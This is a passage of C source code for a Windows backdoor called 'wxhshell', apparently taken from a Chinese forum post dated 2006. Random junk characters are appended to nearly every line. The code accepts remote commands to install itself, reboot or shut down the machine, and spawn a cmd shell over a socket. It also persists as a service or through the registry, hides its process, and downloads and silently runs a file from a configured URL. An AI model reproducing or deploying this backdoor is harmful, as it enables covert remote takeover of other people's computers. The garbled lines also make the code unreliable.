      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mAI<zh&SQ  
    break; )isJ^ *6y  
  } |l*#pN&L  
  // 安装 i/Nd  
  case 'i': { W ix/Az  
    if(Install()) &n|S:"B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y<A593  
    else g91X*$`]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @A-*XJNS":  
    break; Iy2KOv@a5  
    } %Pz'D6 /  
  // 卸载 LTSoo.dE  
  case 'r': { D$ >gAv  
    if(Uninstall()) ^p'iX4M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I eQF+Xz  
    else ;k<n}shD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >9h@Dj[|!  
    break; 8SG*7[T7  
    }  3,7SGt r  
  // 显示 wxhshell 所在路径 aN87^[  
  case 'p': { K1vm [Ne  
    char svExeFile[MAX_PATH]; \P3[_kbf1  
    strcpy(svExeFile,"\n\r"); AbWnDqv  
      strcat(svExeFile,ExeFile); p=tj>{  
        send(wsh,svExeFile,strlen(svExeFile),0); ujo3"j[b  
    break; 6NvdFss'A{  
    } p4ML } q8  
  // 重启 sz5&P )X  
  case 'b': { > @Ux8#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -ZmccT"8  
    if(Boot(REBOOT)) `ViFY   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Pb]Of#  
    else { E"EBj7<s  
    closesocket(wsh); ddf# c,SQ  
    ExitThread(0); ,mu=#}a@}  
    } ~|LlT^C  
    break; j'z}m+_?  
    } _N.N?>  
  // 关机 YS}uJ&WoF  
  case 'd': { R:= %gl!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g3p*OYf  
    if(Boot(SHUTDOWN)) eiL  ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); piZ0KA"  
    else { n4albG4  
    closesocket(wsh); {b|:q>Be8  
    ExitThread(0); hFDY2Cp]D  
    } MroJ!.9  
    break; J/M_cO*U  
    } .t/XW++  
  // 获取shell NJEubC?  
  case 's': { HG(J+ocn   
    CmdShell(wsh); mL!)(Bb  
    closesocket(wsh); 9=(*#gRd  
    ExitThread(0); _N4G[jQLJ  
    break; 5jj<sj!S  
  } ,W"[q~  
  // 退出 Ppw0vaJ^  
  case 'x': { _m;#+`E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [B}$U|V0  
    CloseIt(wsh); 1^G*)Qn5Df  
    break; xWY%-CWY.  
    } ;\N{z6  
  // 离开 [4V{~`sF  
  case 'q': { [25[c><:w"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /8Sg<  
    closesocket(wsh); @M[t|  
    WSACleanup(); Z.a`S~U  
    exit(1); A}(&At%n4  
    break; !/+'O}@-E  
        } +tbG^w %  
  } |hsg= LX  
  } [.M<h^xrB  
?a ~59!u  
  // 提示信息 W^}fAcQKH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aCu 8 D!  
} xPFNH`O&  
  } +,`Cv_O  
Lh0qB)>  
  return; X.u&4SH  
} ` XAlzI  
B}Q.Is5  
// shell模块句柄 @dl{ .,J  
int CmdShell(SOCKET sock) +RXKI{0Km  
{ uJQ#l\t  
STARTUPINFO si; H Aq  
ZeroMemory(&si,sizeof(si)); q*`1<9{H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^Ht!~So  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wn61;kV_)  
PROCESS_INFORMATION ProcessInfo; Up:<NHJT  
char cmdline[]="cmd"; Y?cdm}:Ou  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ya[][!.G  
  return 0; 3q{op9_T7  
} KI* erK [d  
x|>N   
// 自身启动模式 gIGyY7{(s8  
int StartFromService(void) ~s#vP<QHa  
{ wR)U&da`@  
typedef struct U^ bF}4m  
{ %Vf3r9 z  
  DWORD ExitStatus; -4  ~(*  
  DWORD PebBaseAddress; TvV_Tz4e  
  DWORD AffinityMask; 0L3v[%_j"  
  DWORD BasePriority; DG2CpR)S  
  ULONG UniqueProcessId; du,mbTQib  
  ULONG InheritedFromUniqueProcessId; dMo456L  
}   PROCESS_BASIC_INFORMATION; a?_!  
;+d2qbGd  
PROCNTQSIP NtQueryInformationProcess; 0K+a/G@ n\  
r]GG9si  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dj>ZHdTn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^T(v4'7  
s8i@HO  
  HANDLE             hProcess; }vp pn=[Y  
  PROCESS_BASIC_INFORMATION pbi; ii< /!B(  
o75Hit  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8G GC)2  
  if(NULL == hInst ) return 0; ^0 zWiX  
BKd03s=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X\\c=[#8-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0rnne L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z/ Vb_  
Me*woCos'  
  if (!NtQueryInformationProcess) return 0; ~"eQPTd  
XsOz {?G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bo)N<S_=^  
  if(!hProcess) return 0; %E1_)^ ^  
\FE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;nzzt~aCC  
PWavq?SR  
  CloseHandle(hProcess); s{QS2G$5  
mpsi{%gA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,CGq_>Z  
if(hProcess==NULL) return 0; 6[\b]I\Q  
rMV<}C ^  
HMODULE hMod; [I XX#^F  
char procName[255]; A>0wqT  
unsigned long cbNeeded; (z8^^j[  
nnw5 !q_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \{g;|Z 1  
F. N4Q'2Z  
  CloseHandle(hProcess); -#TF&-  
=N,ahq  
if(strstr(procName,"services")) return 1; // 以服务启动 e!eUgD  
[xm{4Ba2X  
  return 0; // 注册表启动 ~8rVf+bg3  
} )MV`(/BC*  
Ym]Dlz,o  
// 主模块 JDa=+\_  
int StartWxhshell(LPSTR lpCmdLine) }3^b1D>2O  
{ /o/0 9K  
  SOCKET wsl; ITUwIpA E  
BOOL val=TRUE; :)djHPP*  
  int port=0; kdr?I9kwW  
  struct sockaddr_in door; !F^j\  
|z]O@@j$  
  if(wscfg.ws_autoins) Install(); Q&JnF`*  
U]8 @  
port=atoi(lpCmdLine); :!fP~(R'm  
'N7AVj  
if(port<=0) port=wscfg.ws_port; QqF&lMH  
2r 0u[  
  WSADATA data; UNoNsmP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #3+-vyZm  
z?b[ 6DLV;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )bl'' yO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J2va Kl  
  door.sin_family = AF_INET; ]j^V5y"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r+#!]wNPe  
  door.sin_port = htons(port); AV t(e6H  
C>A*L4c]F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o<pb!]1  
closesocket(wsl); =P,h5J  
return 1; MDyPwv\  
} >$%rsc}^  
|= xK-;qs  
  if(listen(wsl,2) == INVALID_SOCKET) { Gtyy^tz[  
closesocket(wsl); )|d]0/<  
return 1; Dej2-Y  
} x|TLMu=3=  
  Wxhshell(wsl); F74^HQ*J  
  WSACleanup(); 88]UA  
[|:kS  
return 0; [r)Hm/_=|U  
s={jwI50  
} +OM9v3qJ  
J7p'_\  
// 以NT服务方式启动 <8'-azpJ6<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RKt#2%FFO  
{ (,i&pgVZ  
DWORD   status = 0; 9:]w|lE:D  
  DWORD   specificError = 0xfffffff; i6.HR?n  
(|*CVI;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YhZmyYamE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nWyn}+C-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `Tt;)D  
  serviceStatus.dwWin32ExitCode     = 0;  4dd]Ju  
  serviceStatus.dwServiceSpecificExitCode = 0; tbNIl cAWS  
  serviceStatus.dwCheckPoint       = 0; {hE\ECT-  
  serviceStatus.dwWaitHint       = 0; #y?iUv  
Hp@nxtKxW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1&wI*4  
  if (hServiceStatusHandle==0) return; ~0^d-,ZD5  
o-m9}pV  
status = GetLastError(); pc=f,  
  if (status!=NO_ERROR) 2,3pmb  
{ %]iDhXLr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +im>|  
    serviceStatus.dwCheckPoint       = 0; !n?8'eqWru  
    serviceStatus.dwWaitHint       = 0;  ^O9_dP:  
    serviceStatus.dwWin32ExitCode     = status; Kb/w+J S  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pr!H>dH8o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `E4+#_ v  
    return; Q)$RE{*-  
  } BbV@ziL  
d7*fP S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rl%?c5U/$  
  serviceStatus.dwCheckPoint       = 0; : }q~<  
  serviceStatus.dwWaitHint       = 0; _UqE -+&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %#zqZ|q  
} UP})j.z  
cGE,3dsF[  
// 处理NT服务事件,比如:启动、停止 { +$zgg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &`9p.  
{ lo!.%PP|  
switch(fdwControl) 9CxFj)#5F  
{ X }W4dpU,  
case SERVICE_CONTROL_STOP: *Bse3%-v  
  serviceStatus.dwWin32ExitCode = 0; 8}^R jMgI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iz0GL&<  
  serviceStatus.dwCheckPoint   = 0; /3!c ;(  
  serviceStatus.dwWaitHint     = 0; V*C%r:5 ,v  
  { }C<<l5/ z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ei Yj`P  
  } T- |36Os4  
  return; ?q %&"  
case SERVICE_CONTROL_PAUSE: [T<Z?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UrP jZ:K'  
  break; LO&/U4:  
case SERVICE_CONTROL_CONTINUE: Sp2<rI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T|L_ +(M{  
  break; zIeJ[J@  
case SERVICE_CONTROL_INTERROGATE: Si:$zGL$(  
  break; G|h@O'  
}; c=52*&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ncJc  
} ptlcG9d-  
\D<w:\P  
// 标准应用程序主函数 !UV1OU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I\,m6 =q  
{ H E'1Wa0r  
?uBZ"^'  
// 获取操作系统版本 zBKfaQI,  
OsIsNt=GetOsVer(); ?##3E, /"9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?c;T4@mB  
~hk;OB;  
  // 从命令行安装 E;vF :?|  
  if(strpbrk(lpCmdLine,"iI")) Install(); G""L1?  
V(^aG=TaW:  
  // 下载执行文件 6 #vc"5@M  
if(wscfg.ws_downexe) { Pcs62aE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @N%/v*  
  WinExec(wscfg.ws_filenam,SW_HIDE); dh~ cj5  
} B9[eLh!  
dHUcu@,  
if(!OsIsNt) { ?: XY3!{  
// 如果时win9x,隐藏进程并且设置为注册表启动 =rB=! ;  
HideProc(); Cr  a@  
StartWxhshell(lpCmdLine); |_ADG  
} A;'*>NS  
else }nO[;2Na  
  if(StartFromService()) Xe J|Z)qZ  
  // 以服务方式启动 Q6e;hl  
  StartServiceCtrlDispatcher(DispatchTable); 7F;dLd'  
else ' thEZ  
  // 普通方式启动 T]fBVA  
  StartWxhshell(lpCmdLine); Ug1[pONk  
XoZw8cY  
return 0; IcDAl~uG  
}
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只看该作者 1 发表于: 2006-10-10
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